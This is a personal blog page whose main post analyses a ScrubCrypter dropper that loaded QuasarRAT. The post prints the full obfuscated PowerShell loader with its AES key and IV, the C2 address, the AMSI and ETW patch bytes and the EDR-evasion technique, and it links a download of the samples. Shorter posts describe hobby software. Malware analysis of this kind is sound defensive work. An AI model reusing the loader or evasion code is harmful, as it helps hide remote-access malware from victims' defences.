Thursday, July 13, 2023

ScrubCrypter malware analysis

 I was at my desk in office. Must have been around 12 or 12.30 PM, July 12, 2023. Suddenly, Windows Defender showed a “Threat found” alert. That immediately drew my attention. I checked to see which file it had detected and noticed it was a “udgbQ.vbs” file inside %appdata% that Defender had tagged. Of course, once I got to the folder, I saw Defender immediately remove from there. If I remember correctly, it was just a 1 KB file – I couldn’t get a look into its contents. However, I also saw two more files – “udgbQ.bat.exe” and “udgbQ.bat” :


(Read after finishing the article: Of note here is that at first, the exe file wasn’t visible even when the “Show hidden files” option in Windows Explorer was checked. But Process Hacker was reporting that such a process was already running and when asked to go to the file path of the process, it would take right to %appdata%, with no trace of the exe file – only the bat file could be seen. I then surmised from CurrPorts’ Process Attributes value of “AHS” that it must have set it to be an Archived Hidden System file. So I did an “attrib –s –h –a –r *.*” in the folder and the exe file finally showed. The attrib trick is from the good old days of virus hunting in Windows XP when I was in school – something that my Computer Science teacher had told us.)

I went into panic mode. I opened up the contents of the rather large bat file and it was a load of gibberish. I’ve included in this folder the same file as a .txt file (“udgbQ.bat.txt”) so that it’s not executed accidentally. Anyway, its content looks like the following:


Lines 2 through 7 and the final line 9 are legible. This batch script basically runs a powershell instance hidden and copies the legit powershell binary to its folder with its own name with an “.exe” appended, then it calls the copied powershell binary with a huge commandline argument (the call "%p%" %U:uLqiO=% line’s %U:uLqiO=% variable resolves into the correct argument because of the huge “set” command of line 8).

I tried figuring out what this mangled content would resolve into manually but I had also fired up Process Hacker by then and when I took a look at the commandline for the “udgbQ.bat.exe” process that was now running, it was already in plaintext:


First, I suspended the process after realizing it had already established a connection to the following:

Remote address: 51.77.167.52

Remote host name: ip52.ip-51-77-167.eu

Remote port: 6060

Local port: 63421

Protocol: TCP

(I made this observation using the Nirsoft program “CurrPorts”). I then looked into the commandline passed to this weirdly named powershell binary. The commandline was the following:

$oIou='InnJKbvonJKbknJKbenJKb'.Replace('nJKb', '');$AzqP='EnnJKbtrnJKbyPonJKbinJKbntnJKb'.Replace('nJKb', '');$LWEJ='ChnJKbannJKbgenJKbEnJKbxtenJKbnsnJKbionnJKb'.Replace('nJKb', '');$Jwxg='TranJKbnsnJKbfnJKbormnJKbFinnJKbanJKblBlnJKbocknJKb'.Replace('nJKb', '');$pWwA='LoadnJKb'.Replace('nJKb', '');$eDxq='CreanJKbtnJKbeDnJKbecnJKbrypnJKbtnJKbornJKb'.Replace('nJKb', '');$DtTM='MnJKbainJKbnnJKbMonJKbdnJKbulenJKb'.Replace('nJKb', '');$JZlt='SpnJKblinJKbtnJKb'.Replace('nJKb', '');$xzWC='GnJKbetCnJKburnJKbrnJKbennJKbtPnJKbrocnJKbesnJKbsnJKb'.Replace('nJKb', '');$aZrq='FnJKbronJKbmnJKbBnJKbasenJKb64nJKbStrnJKbingnJKb'.Replace('nJKb', '');$zerm='FirnJKbstnJKb'.Replace('nJKb', '');$euof='ReanJKbdnJKbLinJKbnnJKbesnJKb'.Replace('nJKb', '');function SHmms($fIyrX){$OXHzj=[System.Security.Cryptography.Aes]::Create();$OXHzj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OXHzj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OXHzj.Key=[System.Convert]::$aZrq('Ku4UyUqCrVKpr817sKewP+3V+wWyOhyCkaqfyyShZ9E=');$OXHzj.IV=[System.Convert]::$aZrq('6ttlhKwyOYtu8WT6FBC9HQ==');$RRNwL=$OXHzj.$eDxq();$jXMSp=$RRNwL.$Jwxg($fIyrX,0,$fIyrX.Length);$RRNwL.Dispose();$OXHzj.Dispose();$jXMSp;}function ODGMY($fIyrX){$nYjJX=New-Object System.IO.MemoryStream(,$fIyrX);$fmBrg=New-Object System.IO.MemoryStream;$lLnxw=New-Object System.IO.Compression.GZipStream($nYjJX,[IO.Compression.CompressionMode]::Decompress);$lLnxw.CopyTo($fmBrg);$lLnxw.Dispose();$nYjJX.Dispose();$fmBrg.Dispose();$fmBrg.ToArray();}$KawWa=[System.Linq.Enumerable]::$zerm([System.IO.File]::$euof([System.IO.Path]::$LWEJ([System.Diagnostics.Process]::$xzWC().$DtTM.FileName, $null)));$RIswh=$KawWa.Substring(3).$JZlt(':');$qTCRy=ODGMY (SHmms ([Convert]::$aZrq($RIswh[0])));$DWMcP=ODGMY (SHmms ([Convert]::$aZrq($RIswh[1])));[System.Reflection.Assembly]::$pWwA([byte[]]$DWMcP).$AzqP.$oIou($null,$null);[System.Reflection.Assembly]::$pWwA([byte[]]$qTCRy).$AzqP.$oIou($null,$null);

This was better than what was in the bat file but still not entirely obvious. I tried a bunch of things including manually cleaning up the .Replace() calls and separating out the semicolon-delimeted lines for better readability, tried CyberChef as well but finally settled on just pasting the whole thing into Visual Studio Code, saved it as a .ps1 file (powershell script) (after realizing it’s a powershell script) and formatted the file using VS Code’s PowerShell extension. It got a lot cleaner and looked a lot more like a normal powershell script. I didn’t want to do the .Replace() calls on my own, so I just added a breakpoint after all the .Replace() calls and simply hovered my cursor above the variables to get what they resolved to. Eventually, I manually replaced all the variables with their resolved string values as follows:


(Note that I’ve modified line 42 to use a valid path to the .exe file)

This script file has also been included in the same folder as this document.

I stepped through the code in VS Code, careful not to actually run whatever it is trying to run (I’ve commented out the final two lines of this file that actually Invoke the two payloads) and let VS Code and PowerShell do all the decrypting and what have you. I also added code to dump the payloads as .bin files

So, recapitulating the situation as a whole, the .bat file itself contains the compressed, encrypted and base64’ed version of the contents of the two payloads separated by a colon ‘:’ towards the beginning of the file and also contains the batch script that instructs powershell to get these two payloads and execute them. All of that information in just one file! That’s really cool.

Anyway, I managed to dump the first payload (decompressed ~1.2 MB) and Windows Defender and Avira (at this point, I’d already hurriedly installed the best free AV solution I know - Avira Antivirus) immediately picked it up. I disabled them for a moment and asked what VirusTotal thought of it:


Here’s the scan link.

Running Exe Info PE on the payload revealed that it’s a .NET assembly, and running .NET Reflector on it suggests that it’s a .NET assembly likely crypted with ScrubCrypter :



The actual RAT or stealer or whatever it is, is encrypted and is going to be decrypted and loaded at runtime by this .NET crypter.

It is obvious from Reflector that this assembly is obfuscated. So, I used de4dot to deobfuscate it:


Though it says Unknown obfuscation, it produces a deobfuscated assembly and loading it up with dnSpy reveals that the deobfuscation works:

The class names and the methods and the variables are legible.

Now, I just place a breakpoint at line 31 (guessing the previous line returns the decrypted payload to a byte array) and just right click on the “rawAssembly” local variable and click Save and voila, I have the original payload. It is about 3.2 MB in size and Detect It Easy says the payload is a .NET Framework 4 executable as well:


VirusTotal is fairly certain that it is QuasarRAT:


Now, moving on to the next payload in the bat file (obtained by dumping the byte array inside the function call @ line 45 of the powershell script). This payload appears to be smaller – only about 15 KB. Virustotal says it’s a Trojan named “Barys”:


I load it in dnSpy and see mangled names here as well, similar to the first payload, so I use de4dot on it to deobfuscate/clean it as far as possible(though it says the obfuscator is unknown here as well):


Here’s the payload loaded in dnSpy, both the original version and the cleaned version:


The names are readable at least, though the strings are all gibberish and a lot of Win32 API calls appear to have been made dynamically. Lots of Marshal.GetDelegateForFunctionPointer() calls as well. The names of the API calls aren’t visible either:



Looks like it’s obtaining the address of API function addresses from its process and resolving them to their corresponding function delegates. These delegates and their parameters look familiar – CloseHandle(), VirtualProtect(), CreateFile(), CreateFileMapping(), CopyMemory(), IsWow64Process() etc.

And it’s also got it’s own GetProcAddress() implementation as smethod_4. In this screenshot, it’s running through the 1634 exports of kernel32.dll whose base address it got from this other method smethod_3 which basically functions as its own version of GetModuleHandle():



And it stops once it arrives at the requested API call (in this case, CloseHandle()), it returns the address:


And it’s got smethod_2 that gives it the address of any exported API function from any library using the results of smethod_3 and smethod_4:


The following static members are delegates or ready-to-use functions for these win32 APIs: kernel32.dll!CloseHandle(), kernel32.dll!FreeLibrary(), kernel32.dll!VirtualProtect(), kernel32.dll!CreateFileA(), kernel32.dll!CreateFileMappingA(), kernel32.dll!MapViewOfFile(), msvcrt.dll!memcpy(), psapi.dll!GetModuleInformation() and kernel32.dll!IsWow64Process():


Oh, and smethod_0 is what resolves the garbage strings to their real forms:



Now, let’s see the Main() method of the program:


It calls smethod_1 with “ntdll.dll” as the parameter (the smethod_0 call resolves the Chinese-looking characters into “ntdll.dll”):



I copied the method into Visual Studio Code and added some comments, since the previously prepared delegates for win32 API functions have been used in this method. I’ve included this code in the “SecondPayload” folder:


I also asked Skype’s Bing chat what this code did:



I also searched the internet for why a program might want to manually map ntdll and came up with some informative articles:

https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/

https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/

Turns out, it’s an AV evasion technique to avoid falling into the trap of hooks set by antivirus software. Most realtime AV software will place hooks into API functions exported by windows dll files that are commonly used by most programs to inspect the data being passed to these functions and check if anything fishy is going on and stuff like that. If a malware calls any API exported by such a dll say, ntdll.dll, its function calls are going to be intercepted by the AV. So, in a bid to circumvent this “function hooking” set up by AVs, malwares use a trick called “manual mapping” of the required dlls, so that the modified/hooked function exports of the loaded dlls are replaced by a fresh copy mapped directly from their corresponding files on disk. After this step, the malware can safely call any export of the dll and be sure that the AV won’t be privy to this operation.

So, all that method_1 is doing is mapping a fresh, unmodified copy of ntdll.dll to its memory. The same thing is being done to kernel32.dll as well, if the OS is Windows 10 or 11 (major version no. > 10) and 64-bit:

Now, line 16 i.e. smethod_0 call looks like following:


The first parameter is “amsi.dll” – a dll file present on Windows OS starting from Windows 10 and it exposes functions for checking if a given buffer contains malicious code. (See AmsiScanBuffer function on MSDN) The second parameter is “AmsiScanBuffer” which is a function exported by amsi.dll. On Windows, when PowerShell is opened, it always loads this dll and calls the aforementioned function to check for malicious payloads when it is executing powershell scripts. The third parameter ‘byte_0’ holds an array of bytes: { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } and the fourth parameter ‘byte_1’ holds { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 } which looked like opcodes to me and I asked Skype Bing Chat, to which it replied with astonishing specificity and insight – as if these bytes are always used in association with AmsiScanBuffer patching:


So, it basically looks like it’s trying to patch the contents of the AmsiScanBuffer function with bytes that return AMSI_RESULT_CLEAN (for details, look it up on MSDN) for both x32 and x64 bit version of the process. Apparently, “amsi bypass” has been a thing ever since PowerShell based malware rose to prominence:

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://threatresearch.ext.hp.com/disabling-anti-malware-scanning-amsi/

https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux

I would guess, if this .NET payload (which is very small btw, 15 KB these days is considered tiny) is loaded by a powershell script (which runs in the process of PowerShell) via Reflection (Assembly.Load() and what not) and invoked (https://stackoverflow.com/questions/23174205/how-can-i-run-an-exe-file-with-assembly-class), the PowerShell process would be defenseless against malicious scripts – even well known and signature payloads would fail to be reported since the AmsiScanBuffer function would always return clean.

In my case, where I’m running the payload separately as a debugee using dnSpy’s debugger, there’s no “amsi.dll” to be found in this process’ modules as is evident from Process Hacker:


So, the program throws an exception and lands on the catch block at line 44:


Now, the smethod_0 call at line 17 looks like the following:


It’s trying to patch another function exported by ntdll – EtwEventWrite()

Turns out, this function is used by processes to expose information about the managed assemblies (.NET binaries) that have been loaded in them. Tools like Process Hacker can see the .NET assemblies loaded in a process because all processes participate in this reporting using EtwEventWrite(). More info can be found all over the internet but I read this article by Adam Chester and found it really enlightening: https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/

From this article, I also learnt that the previous function patch for amsi.dll also works for managed processes using .NET Framework 4.8 and above (they apply checks, when Assembly.Load()’ing a .NET assembly, for malware using amsi.dll’s AmsiScanBuffer()):


More info on this topic is available on the post by Adam Chester I linked above.

Anyway, going back to our EtwEventWrite function patch, the bytes used for patching this time are (third and fourth params of smethod_0) are { 0xC3 } and { 0xC2, 0x14, 0x00 }:


0xC3 is obviously a RET and the 3 bytes in the fourth parameter correspond to RET 0x14 apparently, according to Skype Bing Chat:


Obviously, as before, the fourth parameter is for patching in a x64 bit process.

So, the second call to smethod_0 is intended to hide the loading of .NET assemblies to a process (typically unmanaged, as I gathered from the previous article) so that tools such as Process Hacker and probably AVs don’t see what .NET assemblies have been loaded into a process. And of course, this time, it succeeds because ntdll is loaded in all processes:


That’s all this binary does. So, going back to our original powershell script:


Observing lines 48 and 49, it’s clear that the powershell instance is going to first execute the second payload for the amsi and EtwEventWrite bypass and then the actual, first payload which VirusTotal thought was QuasarRAT. If all had gone well, a PowerShell process would have been running QuasarRAT and Windows Defender wouldn’t have a clue, and neither it nor we would be any wiser to the fact that a RAT had been loaded into it.

Some side notes:

-Avira doesn’t consistently detect the second payload. Sometimes, it says clean and sometimes says it’s a malware and quarantines it.

-I had noticed mouse cursor flickering a week or two prior to this incident and noted down the times:

July 4, 2023

10:45 AM

12:56 PM

1:55 PM

3:15 PM

3:45 PM

4:15 PM

July 6, 2023

2 PM

2:45 PM

July 7, 2023

2:45 PM

5:15 PM

5:32 PM

July 11, 2023

3:45 PM

4:15 PM

4:36 PM

5:15 PM

-I still don’t know what caused the malware to be dropped into %appdata% in the first place.

-I was at first convinced that the file “udgbQ.bat.exe” was the malware but later realized it’s just an x86 PowerShell binary copied from System32.

-The two payloads have been included in “FirstPayload” and “SecondPayload” folders separately. Each folder contains “output.bin.zip” which is the Gzipped version dumped from the powershell script and can be extracted using Winrar/7-zip. Or, just run the powershell script for decompressing the payloads and dump those bytearrays instead for the actual executable payload.

Download the malware here

Sunday, March 12, 2023

SoundBytes

This is a soundboard software. That's a type of program that allows you to play an audio clip to any audio input device of your choosing. Such software are handy for streamers and broadcasters but my intention in creating this program was to be able to play funny audio clips over my Discord server's voice channels when watching Valorant streams with the boys. It's made in C# using the .NET Framework 4.7.2 and for the stated purpose, requires the VB Audio Cable Driver to route the audio to a virtual playback device (though it will run fine without it as well if you don't need the routing functionality). I've made use of the NAudio library for .NET for the core audio functionality and the FodyCostura Nuget package for bundling the required .dll files to the final executable (SoundBytes.exe). The first functional version was made over the course of 3 days - around two weeks before the time of this writing.

I've made the decision to make the program closed source (insofar as it's possible for a .NET program) to try my hand at implementing a licensing system into my project, leveraging my own domain that I subscribed to a couple of months ago. And I thought this would be a great practice to create an API with the CodeIgniter PHP framework that I'd been fiddling with for some time now.

Here are some screenshots of the program in action:









Thursday, November 3, 2022

Kitty Solver

 This is a naïve implementation of an optimizer for a card game called Kitty. The game is played with 9 cards and a player has to come up with three sets of three cards from the hand they are dealt. Each set has a priority order/score and there can be multiple ways to arrange the cards dealt in the hand to these three sets. The best arrangement to obtain these sets can sometimes be a little time-consuming for an inexperienced player, like myself. Hence, this program. It is probably of little use in the real world but it was a good mental exercise to implement into a functioning program.

Here's how it works, briefly:

- Creates a list of all possible arrangements/orderings of the cards in the given hand (that comes to be 9! i.e. 362,880)

- Not all of these combinations are unique as far as the game is concerned

- Each hand contains 3 sets of cards, each set consisting of 3 cards

- The ordering of the cards in a set doesn't matter, so each set, when created automatically sorts the given cards in descending order

- Scores each set of each hand of the arrangements according to the rules of the game, the score is a vector of 5 different possible sequences: `[trial_score, falash_score, run_score, jute_score, badhi_score]`. 

- Care should be taken while calculating each member of this vector such that the priority order within the sequence in question is respected, for e.g. while calculating the run_score for a set, the score for a A-K-Q run must be higher than an A-2-3 run; calculating the jute_score for a set, the score for a 2-2-A should be lower than 3-3-5, and so on.

- A scalar score is also calculated from this score vector wherein the elements of the vector are added with suitable weights such that the priority order of the different sequences (run vs. trial vs jute, etc.) are respected

- To get the highest scoring arrangement, the list of all possible arrangements (hands) are sorted by the simple sum of the scalar scores of all three sets of each hand

- For the best scoring hand, the highest scoring sets are placed toward the front, which is the final result

Here are some screenshots:







GitHub repo

Note: .NET Framework 4.8

Thursday, September 8, 2022

MeroShare Monitor

This is a simple console program written in Go, that auto applies to any open IPOs via your Meroshare account.

It requires details about your MeroShare account, such as your BOID, Password, DPID, etc., encrypts the most sensitive fields and stores them in a config file along with the corresponding key file. You can have multiple configs(profiles) that you can add via the --add switch. If no switch is provided, it parses all the available configs in the program directory and applies for each of them (if no config exists, it behaves as if the switch was provided).

The program also keeps logs of the IPOs applied to in a plaintext file in the same directory.

The initial idea was to automatically add the program to the windows Task Scheduler so that it runs at regular times but I've left that functionality out - it's not much of a hassle since it's a one-time fire and forget kind of thing that anyone should be able to do.

Note that it makes use of the exact same API that the actual MeroShare portal uses (which is quite clean and robust imho). The endpoints, authentication and the expected payloads are quite straightforward and really transparent, and easily readable from any modern web browser's developer tools.

The GitHub repo is available here

Saturday, December 4, 2021

RewindNs

 While taking online classes via Zoom, sometimes the slides go really fast and I cannot finish writing. In such times I wish I had a magic button to go back a few seconds and hold it right there until I complete noting down the slide. I know there's always the option to record it all (OBS works fine) and go to whatever time in the video and take notes from there but having something akin to Nvidia instant replay would be neat. That's the concept behind this program.

I chose Visual Basic 6 (or the way I call it - vb6) to code it up because it had been some time that I had not used it. It used to be my go-to language/IDE for making anything and everything before 5 years or so when I made the switch to C# and the rest. I remember the IDE being super snappy, the compiled file size (12-20 KB for a normal windows form/standard EXE application) super small by today's oversized standards. It was such a breeze to get things done without worrying about classes, objects and all that convenience. And doing things you were not supposed to be doing in vb6 (multithreading, executing shellcode/assembly, calling undocumented win32 API, etc.) and getting them to work (after shooting yourself in the foot a hundred times of course) was such a treat. I guess I wanted to feel that again. I don't think there's yet been another language that has been able to occupy that sweet niche for me. PureBasic and Delphi/FreePascal Lazarus come somewhat close but they're a significant compromise.

Anyway, I started it yesterday (~6PM perhaps) and finished it today afternoon (~2PM). It turned out to be a bit more work than I had thought it would be - I guess my observation that one has to underestimate the effort it takes to complete a project to actually embark upon it is something that I will never learn from. It's done now and here I am writing this up at 8:10 PM. There's still a few nice-to-have features I'd like to add but this version works just fine for what this program is supposed to do.

Flowchart of the program
If you can't make the flowchart, in a nutshell, the program maintains an array of screen's memory DC (Device Context) - basically a screen capture - and it paints the first element of the array over and over in a loop over the screen when the user presses the 'J' key twice, until the user presses the 'L' key twice. The array's length is equal to the history timespan divided by the sampling interval; so if the history timespan is 5 seconds (meaning save a history of 5 seconds i.e. 5000 milliseconds) and the sampling interval is 100 milliseconds (meaning the screen capture is performed every 100 milliseconds), the array will have a size of 5000/100 = 50. This array is maintained so that only the most recent 50 captures are present at any given moment. This means the array is first filled normally up to the end, then the elements are pushed one position to the left each time a new capture is performed so that it can be placed at the last position. The captures in the array move from the oldest to the most recent left to right (start to end). Here's how it looks. You can right click on it to hide the window.

Here's the GitHub link for the project. Here's the download link.